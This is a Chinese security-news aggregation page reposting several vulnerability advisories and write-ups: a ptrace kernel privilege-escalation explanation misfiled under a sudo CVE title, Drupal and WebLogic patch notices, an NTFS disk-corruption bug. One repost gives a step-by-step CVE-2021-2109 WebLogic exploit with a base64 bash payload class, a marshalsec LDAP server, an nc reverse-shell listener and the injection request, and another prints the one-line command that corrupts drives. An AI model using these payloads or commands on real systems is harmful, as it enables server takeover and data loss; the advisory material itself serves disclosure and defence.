CVE-2021-3156 sudo堆栈溢出漏洞预警

微慑管理员阅读(2312)

CVE-2021-3156 sudo堆栈溢出漏洞预警
CVE-2021-3156 sudo堆栈溢出漏洞预警
CVE-2021-3156 sudo堆栈溢出漏洞预警

前言

近期CVE-2021-3156(sudo堆栈溢出漏洞)

CVE-2021-3156 sudo堆栈溢出漏洞预警

国外的Qualys 研究团队在 sudo 发现了堆溢出漏洞,sudo是一种几乎无处不在的非常实用程序,可用于大型 Unix 类操作系统(类似与windows的UAC功能,但是功能更加强大,它还允许用户使用其他用户的安全权限运行程序,不仅限于管理员哟)。

笔者立马去找了相关的信息,企图找到漏洞利用exp。

https://blog.qualys.com/vulnerabilities-research/2021/01/26/cve-2021-3156-heap-based-buffer-overflow-in-sudo-baron-samedit

然后找到这篇文章,分析挺详细的,但是当我看到最后

CVE-2021-3156 sudo堆栈溢出漏洞预警

我瞬间泪崩,我kuzi都脱了,你给我说不行?说好的分享精神嘞?

但是人家卖产品,也情有可原嗷。


 

自己去分析内核代码写exp,那肯定不可能的,没到达那个水准,又不是专业的,算了算了,专业的事就该专业的人去弄,国内的大佬们应该很快就能写出exp了

 


不过我有点气,朋友又给我发了一个CVE-2019-13272 内核提权的漏洞,顺利找到了exp。

CVE-2021-3156 sudo堆栈溢出漏洞预警

漏洞危害

kernel 5.1.17之前版本中存在安全漏洞,该漏洞源于kernel/ptrace.c文件的ptrace_link没有正确处理对凭证的记录,攻击者可利用该漏洞获取root访问权限。

漏洞测试成功的版本:

  • Ubuntu 16.04.5 kernel 4.15.0-29-generic

  • Ubuntu 18.04.1 kernel 4.15.0-20-generic

  • Ubuntu 19.04 kernel 5.0.0-15-generic

  • Ubuntu Mate 18.04.2 kernel 4.18.0-15-generic

  • Linux Mint 19 kernel 4.15.0-20-generic

  • Xubuntu 16.04.4 kernel 4.13.0-36-generic

  • ElementaryOS 0.4.1 4.8.0-52-generic

  • Backbox 6 kernel 4.18.0-21-generic

  • Parrot OS 4.5.1 kernel 4.19.0-parrot1-13t-amd64

  • Kali kernel 4.19.0-kali5-amd64

  • Redcore 1806 (LXQT) kernel 4.16.16-redcore

  • MX 18.3 kernel 4.19.37-2~mx17+1

  • RHEL 8.0 kernel 4.18.0-80.el8.x86_64

  • Debian 9.4.0 kernel 4.9.0-6-amd64

  • Debian 10.0.0 kernel 4.19.0-5-amd64

  • Devuan 2.0.0 kernel 4.9.0-6-amd64

  • SparkyLinux 5.8 kernel 4.19.0-5-amd64

  • Fedora Workstation 30 kernel 5.0.9-301.fc30.x86_64

  • Manjaro 18.0.3 kernel 4.19.23-1-MANJARO

  • Mageia 6 kernel 4.9.35-desktop-1.mga6

  • Antergos 18.7 kernel 4.17.6-1-ARCH

CVE-2021-3156 sudo堆栈溢出漏洞预警

 漏 洞 原 理

CVE-2021-3156 sudo堆栈溢出漏洞预警

当调用PTRACE_TRACEME时,ptrace_link函数将获得对父进程凭据的RCU引用,然后将该指针指向get_cred函数,问题就出在这,PTRACE_TRACEME获取父进程的凭证(内核还记录了跟踪器的凭据),那么就能以父进程的权限执行各种操作,如果一个低权限的用户获取了高权限的父进程,但是在linux中,ptrace是一种系统调用,也就是说你得先拥有root权限,才能用ptrace到其他进程,如果只是普通权限,只能ptarce到子进程(下面会在利用条件中说)。

static void ptrace_link(struct task_struct *child, struct task_struct *new_parent){  rcu_read_lock();  __ptrace_link(child, new_parent, __task_cred(new_parent));  rcu_read_unlock();  __ptrace_link(child, new_parent, current_cred());}

研究人员概述的这样一个攻击场景:

涉及一个父进程,父进程创建一个子进程,这个子进程会再创建一个子进程。第一个子进程使用命令pkexec(用于以root身份运行程序),第二个子进程运行PTRACE_TRACEME,然后第一个子进程丢弃其权限(理解为降权,以前权限很高,然后被降了)。最终结果是父进程可以使用ptrace来控制第一个子进程,后者可以使用ptrace来控制第二个子进程 – 从而让攻击者获得对两个进程的控制权。

我们不妨来分析一下这个场景:(利用思路就是利用父子进程来获得root用户访问权限(凭据))

首先父进程fork出一个子进程,子进程1又fork出相对于它的子进程2,子进程1有着高权限(很牛逼,无所不能,我就是root),子进程二运行着PTRACE_TRACEME,后面真正的root看着子进程1不爽(你凭什么拥有和我一样的权限啊,你也不看看你什么身份),然后就把子进程1降权了,但是运行着PTRACE_TRACEME的子进程2悄悄的把子进程1高权限的凭证给记录下来了,然后我们通过父进程去ptrace子进程1,再去ptrace子进程2,因为子进程二记录着root的凭据,然后我们以此来执行root权限的任意代码。

exp中利用思路就是是直接让子进程1去执行带有PTRACE_TRACEME的Polkit的pkexec(很难理解,但是后面看了Polkit以及exp,好像又理解了)

我分析起来都感到很鸡肋,实际利用也是这样的,假定如果我们能控制父进程(父进程最先开始高权限,运行ptrace到子进程,然后被其子进程运行的PTRACE_TRACEME记录下来了父进程高权限的凭据,后面父进程被降权了),然后通过ptrace到子进程获得高权限凭据,然后执行代码。

1.ptrace是什么?

CVE-2021-3156 sudo堆栈溢出漏洞预警

如果了解过逆向工程的小伙伴,肯定对这个ptrace不陌生,因为这是反调试技术中的基础入门手段,虽然现在诸如代码虚拟化之类的其他防逆向技术已经很成熟了,但是ptrace仍然是一些商业软件产品中使用,也是我们入门反调试所必须的基础技术!

Ptrace 可以让父进程控制子进程运行,并可以检查和改变子进程的核心image的功能(Peek and poke 在系统编程中是很知名的叫法,指的是直接读写内存内容)。ptrace主要跟踪的是进程运行时的状态,直到收到一个终止信号结束进程,这里的信号如果是我们给程序设置的断点,则进程被中止,并且通知其父进程,在进程中止的状态下,进程的内存空间可以被读写。当然父进程还可以使子进程继续执行,并选择是否忽略引起中止的信号,ptrace可以让一个进程监视和控制另一个进程的执行,并且修改被监视进程的内存、寄存器等,主要应用于断点调试和系统调用跟踪,strace和gdb工具就是基于ptrace编写的!

ptrace在linux 反调试技术中的地位就如同nc在安全界的地位,瑞士军刀啊!

ptrace使用场景:

1.编写动态分析工具,如gdb,strace

2.反追踪,一个进程只能被一个进程追踪(注:一个进程能同时追踪多个进程),若此进程已被追踪,其他基于ptrace的追踪器将无法再追踪此进程,更进一步可以实现子母进程双线执行动态解密代码等更高级的反分析技术

3.代码注入,往其他进程里注入代码。

4.不退出进程,进行在线升级。

而ptrace_traceme就是告诉父进程就字面意思跟踪我吧。

2.什么是pakexec?

CVE-2021-3156 sudo堆栈溢出漏洞预警

描述:pkexec是linux左面freedestop上的验证程序,pkexec允许授权用户以PROGRAM其他用户身份执行。如果username未指定,则该程序将以管理超级用户root的身份执行,在默认情况下需要管理员授权。

值得注意的是:pkexec是直接带有PTRACE_TRACEME的Polkit

Polkit是什么?

是用于在类似Unix的操作系统中控制系统范围特权的组件,它为非特权进程提供了一种与特权进程进行通信的有组织方式。

漏洞利用代码中也是用的pkexec

CVE-2021-3156 sudo堆栈溢出漏洞预警

漏洞利用条件

CVE-2021-3156 sudo堆栈溢出漏洞预警
所以说这个漏洞利用条件有两点:

1.找suid降权的程序(我们能控制的,如pkexec)

2.如果利用pkexec(利用条件为桌面的终端linux,通过SSH会话利用此漏洞不成功)

exp用的就是pkexec,为什么用pkexec,因为在pkexec涉及到降权的行为,感兴趣的可以自己查资料结合exp看看

漏洞利用

exp整体利用逻辑

1.父进程生成子进程1

2.子进程1生成父进程2

3.子进程1执行suid程序pkexec

4.子进程2运行ptrace_traceme

5.父进程修改子进程1内存,ptrace到子进程2然后再修改子进程2执行任意代码(子进程二为root权限)

 

exp地址:

https://www.exploit-db.com/exploits/47163https://github.com/k8gege/K8tools/blob/master/CVE-2019-13272.c

gcc正常编译就行了

原文始发于微信公众号(Gamma实验室):CVE-2021-3156 sudo堆栈溢出漏洞预警

【漏洞预警】Drupal 目录遍历漏洞(CVE-2020-36193)

微慑管理员阅读(1910)

2021年1月20日,阿里云应急响应中心监测到 Drupal 官方发布安全更新,修复了 Drupal 目录遍历漏洞(CVE-2020-36193)。



01

漏洞描述

Drupal是使用PHP语言编写的开源内容管理框架。1月20日Drupal官方发布安全更新,修复了Drupal 远程代码执行漏洞(CVE-2020-36193),官方评级严重。Drupal使用了PEAR Archive_Tar作为依赖库,在处理如.tar、.tar.gz、.bz2或.tlz等格式的压缩包时,由于过滤不严,攻击者可构造包含符号链接的压缩包,结合上传功能,可能导致存在目录遍历漏洞,甚至远程代码执行漏洞。阿里云应急响应中心提醒 Drupal 用户尽快采取安全措施阻止漏洞攻击。

02

影响版本

Drupal < 9.1.3

Drupal < 9.0.11

Drupal < 8.9.13

Drupal < 7.78

03

安全版本

Drupal 9.1.3

Drupal 9.0.11

Drupal 8.9.13

Drupal 7.78

04

安全建议

1. 升级Drupal至最新版本。

2. 设置Drupal禁止用户上传如.tar、.tar.gz、.bz2、.tlz等格式的压缩包。

05

相关链接

https://www.drupal.org/sa-core-2021-001

06

安全产品


安全产品 解决方案
云盾WAF
已可防护该类漏洞,并提供7天免费漏洞应急服务,为您争取漏洞修复时间,应急开通地址:https://c.tb.cn/I3.XzCtR
阿里云云防火墙  已可以防御此攻击

       【漏洞预警】Drupal 目录遍历漏洞(CVE-2020-36193)


原文始发于微信公众号(阿里云先知):【漏洞预警】Drupal 目录遍历漏洞(CVE-2020-36193)

CVE-2021-2109 Weblogic RCE[附漏洞利用代码]

微慑管理员阅读(3760)

CVE-2021-2109 Weblogic RCE

△△△点击上方“蓝字”关注我们了解更多精彩
0x00 漏洞简介

Oracle官方发布了漏洞补丁,修了包括 CVE-2021-2109 Weblogic Server远程代码执行漏洞在内的多个高危严重漏洞。CVE-2021-2109 中,攻击者可构造恶意请求,造成JNDI注入,执行任意代码,从而控制服务器。
0x01 影响版本
WebLogic 10.3.6.0.0
WebLogic 12.1.3.0.0
WebLogic 12.2.1.3.0
WebLogic 12.2.1.4.0
WebLogic 14.1.1.0.0
0x02 环境搭建
我用的是14883的靶场,网上很多docker的搭建教程,请自行百度
搞定后是下面这样

CVE-2021-2109 Weblogic RCE

 

0x03 漏洞利用
首先编译一个java文件(bash要base64)
import java.io.BufferedReader;import java.io.InputStream;import java.io.InputStreamReader;
public class Exploit{   public Exploit() throws Exception {       //Process p = Runtime.getRuntime().exec(newString[]{"cmd","/c","calc.exe"});     Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","echo'base64编码'|base64 -d |bash"});       InputStream is = p.getInputStream();       BufferedReader reader = new BufferedReader(new InputStreamReader(is));
       String line;       while((line = reader.readLine()) != null) {           System.out.println(line);       }
       p.waitFor();       is.close();       reader.close();       p.destroy();    }
   public static void main(String[] args) throws Exception {    }}
然后把class拉到服务器启动python服务
python -m SimpleHTTPServer 80

访问服务器,能看到资源就是启动成功

CVE-2021-2109 Weblogic RCE

启动exphttp服务启动ldap服务
java -cpmarshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://ip.ip.ip.ip/#Exploit 9998
nc端口开启监听
nc -lvnp xxxx
执行exp,反弹shell成功(get,post都可以)

CVE-2021-2109 Weblogic RCE

exp(注意ip是 1.1.1;1 有个分号)
_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://x.x.x;x:9998/s4dzak;AdminServer%22)
 

 

0x03 修复建议
1、禁用T3协议
进入Weblogic控制台,在base_domain配置页面中,进入“安全”选项卡页面,点击“筛选器”,配置筛选器
在连接筛选器中输入:weblogic.security.net.ConnectionFilterImpl,在连接筛选器规则框中输入:* * 7001 deny t3 t3s
2、禁止启用IIOP
登陆Weblogic控制台,找到启用IIOP选项,取消勾选,重启生效
3、临时关闭后台/console/console.portal对外访问
4、升级官方安全补丁

 

END

如您有任何问题、建议、需求请后台留言NOVASEC公众号!

感谢大哥们的对NOVASEC的支持点赞和关注

加入我们与萌新一起成长吧!

CVE-2021-2109 Weblogic RCE

 

如有任何问题、建议、合作、投稿请加NOVASEC-MOYU,以方便及时回复。

 

 

原文始发于微信公众号(NOVASEC):CVE-2021-2109 Weblogic RCE

Weblogic多个远程代码执行漏洞

微慑管理员阅读(1921)

通告编号:NS-2021-0004

2021-01-20
TAG: CVE-2021-1994、CVE-2021-2047、CVE-2021-2064、CVE-2021-2108、CVE-2021-2075、CVE-2019-17195、CVE-2020-14756、CVE-2021-2109
漏洞等级: 攻击者利用此类漏洞,可实现远程代码执行。
版本: 1.0
1

漏洞概述

2021年1月20日,绿盟科技监测发现Oracle官方发布了2021年1月关键补丁更新公告CPU(Critical Patch Update),共修复了329个不同程度的漏洞,其中包括7个影响WebLogic的严重漏洞(CVE-2021-1994、CVE-2021-2047、CVE-2021-2064、CVE-2021-2108、CVE-2021-2075、CVE-2019-17195、CVE-2020-14756),未经身份验证的攻击者可通过此次的漏洞实现远程代码执行。CVSS评分均为9.8,利用复杂度低。建议用户尽快采取措施,对上述漏洞进行防护。

WebLogic Server远程代码执行漏洞(CVE-2021-2109),存在于WebLogic Server的console中,CVSS评分为7.2。经过身份验证的攻击者可以通过JNDI注入攻击来远程执行命令或代码。目前已有PoC公开,请相关用户尽快修复。

绿盟科技第一时间对CVE-2021-2109进行了分析与复现:

【漏洞通告】Weblogic多个远程代码执行漏洞

参考链接:

https://www.oracle.com/security-alerts/cpujan2021.html

SEE MORE →

 

2影响范围

受影响版本

  • WebLogic Server 10.3.6.0.0

  • WebLogic Server 12.1.3.0.0

  • WebLogic Server 12.2.1.3.0

  • WebLogic Server 12.2.1.4.0

  • WebLogic Server 14.1.1.0.0

3漏洞检测

3.1  本地检测

可使用如下命令对Weblogic版本和补丁安装的情况进行排查。

$ cd /Oracle/Middleware/wlserver_10.3/server/lib

$ java -cp weblogic.jar   weblogic.version

在显示结果中,如果没有补丁安装的信息,则说明存在风险,如下图所示:

【漏洞通告】Weblogic多个远程代码执行漏洞

3.2 T3协议探测

Nmap工具提供了Weblogic T3协议的扫描脚本,针对(CVE-2020-14825) 与(CVE-2020-14859),可探测开启T3服务的Weblogic主机。命令如下:

nmap -n -v -Pn   –sV [主机或网段地址] -p7001,7002 –script=weblogic-t3-info.nse

如下图红框所示,目标开启了T3协议且Weblogic版本在受影响范围之内,如果相关人员没有安装官方的安全补丁,则存在漏洞风险。

【漏洞通告】Weblogic多个远程代码执行漏洞

4漏洞防护

4.1  补丁更新

Oracle目前已发布补丁修复了上述漏洞,请用户参考官方通告及时下载受影响产品更新补丁,并参照补丁安装包中的readme文件进行安装更新,以保证长期有效的防护。

注:Oracle官方补丁需要用户持有正版软件的许可账号,使用该账号登陆https://support.oracle.com后,可以下载最新补丁。

4.2 临时缓解措施

如果用户暂时无法安装更新补丁,可通过下列措施对漏洞(CVE-2020-14841),(CVE-2020-14825) 与(CVE-2020-14859)进行临时防护:

4.2.1 限制T3协议访问

用户可通过控制T3协议的访问来临时阻断针对利用T3协议漏洞的攻击。Weblogic Server 提供了名为 weblogic.security.net.ConnectionFilterImpl 的默认连接筛选器,此连接筛选器接受所有传入连接,可通过此连接筛选器配置规则,对T3及T3s协议进行访问控制,详细操作步骤如下:

1. 进入Weblogic控制台,在base_domain的配置页面中,进入“安全”选项卡页面,点击“筛选器”,进入连接筛选器配置。

【漏洞通告】Weblogic多个远程代码执行漏洞

2. 在连接筛选器中输入:weblogic.security.net.ConnectionFilterImpl,参考以下写法,在连接筛选器规则中配置符合企业实际情况的规则:

127.0.0.1 * * allow t3 t3s

本机IP ** allow t3 t3s

允许访问的IP  * * allow t3 t3s  

* * * deny t3 t3s

【漏洞通告】Weblogic多个远程代码执行漏洞

连接筛选器规则格式如下:target localAddress localPort action protocols,其中:

  • target 指定一个或多个要筛选的服务器。

  • localAddress 可定义服务器的主机地址。(如果指定为一个星号 (*),则返回的匹配结果将是所有本地 IP 地址。)

  • localPort 定义服务器正在监听的端口。(如果指定了星号,则匹配返回的结果将是服务器上所有可用的端口)。

  • action 指定要执行的操作。(值必须为“allow”或“deny”。)

  • protocols 是要进行匹配的协议名列表。(必须指定下列其中一个协议:http、https、t3、t3s、giop、giops、dcom 或 ftp。) 如果未定义协议,则所有协议都将与一个规则匹配。

3. 保存后若规则未生效,建议重新启动Weblogic服务(重启Weblogic服务会导致业务中断,建议相关人员评估风险后,再进行操作)。以Windows环境为例,重启服务的步骤如下:

  • 进入域所在目录下的bin目录,在Windows系统中运行stopWebLogic.cmd文件终止weblogic服务,Linux系统中则运行stopWebLogic.sh文件。

【漏洞通告】Weblogic多个远程代码执行漏洞

  • 待终止脚本执行完成后,再运行startWebLogic.cmd或startWebLogic.sh文件启动Weblogic,即可完成Weblogic服务重启。

若参考上述操作配置了连接筛选器后,导致Weblogic无法启动,可参考“附录A Weblogic服务恢复”章节,及时进行业务恢复。

4.2.2 禁用IIOP协议

用户可通过关闭IIOP协议阻断针对利用IIOP协议漏洞的攻击,操作如下:

在Weblogic控制台中,选择“服务”->”AdminServer”->”协议”,取消“启用IIOP”的勾选。并重启Weblogic项目,使配置生效。

【漏洞通告】Weblogic多个远程代码执行漏洞

附录A:WebLogic服务恢复

  • 控制台恢复

在服务重启前,可进入Weblogic控制台删除相关配置,详细步骤如下:

1. 依次点击“base_domain”—> “安全”—>“筛选器”

【漏洞通告】Weblogic多个远程代码执行漏洞

2. 将原有配置清空,点击保存。

【漏洞通告】Weblogic多个远程代码执行漏洞

3. 点击“查看更改和重新启动”,进入“重新启动核对清单”,勾选“AdminServer(管理)”,点击“重新启动”按钮。

【漏洞通告】Weblogic多个远程代码执行漏洞

  • 配置文件恢复

配置完连接筛选器后,配置信息会保存在“OracleMiddlewareuser_projectsdomainsbase_domainconfigconfig.xml”文件中。用文本编辑器打开上述文件,找到如下配置内容后删除:

<connection-filter>weblogic.security.net.ConnectionFilterImpl</connection-filter>

<connection-filter-rule>* * 7001 deny t3   t3s</connection-filter-rule>

【漏洞通告】Weblogic多个远程代码执行漏洞

END

作者:绿盟科技威胁对抗能力部

【漏洞通告】Weblogic多个远程代码执行漏洞         
【漏洞通告】Weblogic多个远程代码执行漏洞        
声明

本安全公告仅用来描述可能存在的安全问题,绿盟科技不为此安全公告提供任何保证或承诺。由于传播、利用此安全公告所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,绿盟科技以及安全公告作者不为此承担任何责任。

绿盟科技拥有对此安全公告的修改和解释权。如欲转载或传播此安全公告,必须保证此安全公告的完整性,包括版权声明等全部内容。未经绿盟科技允许,不得任意修改或者增减此安全公告内容,不得以任何方式将其用于商业目的。

【漏洞通告】Weblogic多个远程代码执行漏洞

绿盟科技安全情报 微信公众号
【漏洞通告】Weblogic多个远程代码执行漏洞
【漏洞通告】Weblogic多个远程代码执行漏洞
长按识别二维码,关注网络安全威胁信息

 

原文始发于微信公众号(绿盟科技安全情报):【漏洞通告】Weblogic多个远程代码执行漏洞

阿里云安全获Oracle官方致谢 |Weblogic Server远程代码执行漏洞预警(CVE-2021-2109)

微慑管理员阅读(2420)

01

漏洞简述

2020年11月19日,阿里云安全向Oracle官方报告了Weblogic Server远程代码执行漏洞,漏洞编号为CVE-2021-2109,漏洞等级:高危。

02

时间轴

·  2020/11/19

阿里云安全向Oracle官方报告了Weblogic Server远程代码执行漏洞

·  2020/11/19

阿里云WAF更新防护策略

·  2021/01/20

Oracle官方发布了漏洞补丁,分配CVE编号为CVE-2021-2109,并向阿里云安全公开致谢

·  2021/01/20

阿里云安全发布漏洞风险提示

03

风险等级


评定方式

等级

威胁等级

高危

影响范围

较广

利用难度


04

影响版本

     Weblogic Server
  • 10.3.6.0.0

  • 12.1.3.0.0

  • 12.2.1.3.0

  • 12.2.1.4.0

  • 14.1.1.0.0

05

漏洞分析

这个漏洞利用的有两个关键类,第一个类是com.bea.console.handles.JndiBindingHandle 跟进这个类看下


阿里云安全获Oracle官方致谢 |Weblogic Server远程代码执行漏洞预警(CVE-2021-2109)

可以看到Handle只是用来做对象的实例化,并没有执行功能,理论上Weblogic Server的console的操作大部分是建立在Action的基础上,所以我们还需要去寻找一个Action。
去看一下Weblogic Server的consolejndi.portal文件,以JNDIBindingPageGeneral为关键字,发现路径指向jndibinding.portlet


阿里云安全获Oracle官方致谢 |Weblogic Server远程代码执行漏洞预警(CVE-2021-2109)


继续跟进jndibinding.portlet可以找到这次利用的另一个关键的类JNDIBindingAction


阿里云安全获Oracle官方致谢 |Weblogic Server远程代码执行漏洞预警(CVE-2021-2109)


继续跟进JNDIBindingAction.execute的代码


阿里云安全获Oracle官方致谢 |Weblogic Server远程代码执行漏洞预警(CVE-2021-2109)


找到了JNDI注入攻击中关键的lookup函数(lookup函数的值由context和bindName决定),但这里有个前提,需要serverMBean不为空,而serverMBean是由DomainMBean.lookupServer来获取,于是在这个函数下断点


阿里云安全获Oracle官方致谢 |Weblogic Server远程代码执行漏洞预警(CVE-2021-2109)


想要返回不为空,则需要传给lookupServer的值等于this._Servers中的name,而this._Servers只有一个值,利用动态调试把name的值取出


阿里云安全获Oracle官方致谢 |Weblogic Server远程代码执行漏洞预警(CVE-2021-2109)


关键流程已经梳理完毕,重新去看下JNDIBindingAction的代码,如果想要实现JNDI注入攻击,我们需要满足2点要求:
·      context + “.” +bindName的值要符合合法的JNDI地址格式
·      serverName的值为AdminServer
而context、bindName、serverName的值都是从bindingHandle中获取的,正巧我们可以控制JndiBindingHandle实例化的值(objectIdentifier),接着来就需要看下objectIdentifier和以上3个值有什么关系了,看一下3个成员变量的get函数,发现他们都和Component有关,


阿里云安全获Oracle官方致谢 |Weblogic Server远程代码执行漏洞预警(CVE-2021-2109)


跟进getComponents函数,代码如下:
阿里云安全获Oracle官方致谢 |Weblogic Server远程代码执行漏洞预警(CVE-2021-2109)
阿里云安全获Oracle官方致谢 |Weblogic Server远程代码执行漏洞预警(CVE-2021-2109)
阿里云安全获Oracle官方致谢 |Weblogic Server远程代码执行漏洞预警(CVE-2021-2109)
这里结合调用栈信息


阿里云安全获Oracle官方致谢 |Weblogic Server远程代码执行漏洞预警(CVE-2021-2109)


可以发现components的值就是把objectIdentifier的值用分号; 分割开来,也就是说我们想要控制的值全都可以通过bjectIdentifier来控制了,PoC的构造也就水到渠成了,我们可以通过LDAP协议方式实现JNDI注入攻击,加载远程CodeBase下的恶意类 ldap://127.0.0;1:1389/EvilObject,由于代码中会自动补全一个.因此可以将context定位为ldap://127.0.0将bindName定位为1:1389/EvilObject,最后的serverName必须为AdminServer,因此构造完整的PoC后,漏洞利用效果如图::


阿里云安全获Oracle官方致谢 |Weblogic Server远程代码执行漏洞预警(CVE-2021-2109)


06

修复建议


  • 由于是通过JNDI注入进行远程命令执行,所以受到JDK版本的影响,建议升级Weblogic Server运行环境的JDK版本,具体参考如下:


阿里云安全获Oracle官方致谢 |Weblogic Server远程代码执行漏洞预警(CVE-2021-2109)

  • 更新最新补丁,参考Oracle官网发布的补丁:

Oracle Critical Patch Update Advisory – January 2021

https://www.oracle.com/security-alerts/cpujan2021.html


  • 阿里云WAF支持该漏洞防御并提供免费应急支持,请钉钉扫描下方二维码加入应急支持群


    阿里云安全获Oracle官方致谢 |Weblogic Server远程代码执行漏洞预警(CVE-2021-2109)


原文始发于微信公众号(阿里云先知):阿里云安全获Oracle官方致谢 |Weblogic Server远程代码执行漏洞预警(CVE-2021-2109)

一行命令让你修复win10驱动器

微慑管理员阅读(2233)

Infosec研究人员 Jonas爆出Windows 10的NTFS的一个Bug。

可以通过单行命令触发此bug,Windows会提示用户重新启动计算机以修复损坏的磁盘记录。

Windows 10 build 1803、1809、1903、1909、2004和20H2都存在此问题。

并且可由Windows 10系统上的标准和低特权用户帐户触发。

通过仅尝试以某种方式访问文件夹中的$ i30 NTFS属性,驱动器要求重启并修复。

*警告* 仅可在虚拟机中测试此命令,如果驱动器损坏,可以将其还原到早期快照。

         
示例命令  cd c::$ i30:$bitmap
                                                                            
Windows NTFS索引属性,”$ i30″ 字符串,是与目录相关联的NTFS属性,该目录包含目录文件和子文件夹的列表。在某些情况下,  NTFS索引还可以包括已删除的文件和文件夹。

在Windows 10命令提示符中运行命令之后,将看到一条错误消息,指出“文件或目录已损坏且不可读”。

Windows 10将立即开始显示通知,提示用户重新启动PC并修复损坏的磁盘卷。重新启动后,Windows检查磁盘实用程序将运行并开始修复硬盘驱动器。Windows 10将在事件日志中生成错误,指出特定驱动器的主文件表(MFT)包含损坏的记录。测试还表明,可以在任何驱动器上使用此命令,驱动器多数时候是可以被修复但也有可能损坏



*提醒* 工控用户请密切注意,不明exe/lnk/url/bat/vbs/zip等能够触发此问题的潜在破坏程序,请勿在工控环境下运行。


参考连接:https://twitter.com/jonasLyk/status/1347900440000811010

原文始发于微信公众号(IRT工业安全红队):一行命令让你修复win10驱动器

微慑信息网 专注工匠精神

微慑信息网-VulSee.com-关注前沿安全态势,聚合网络安全漏洞信息,分享安全文档案例

访问我们联系我们

登录

找回密码

注册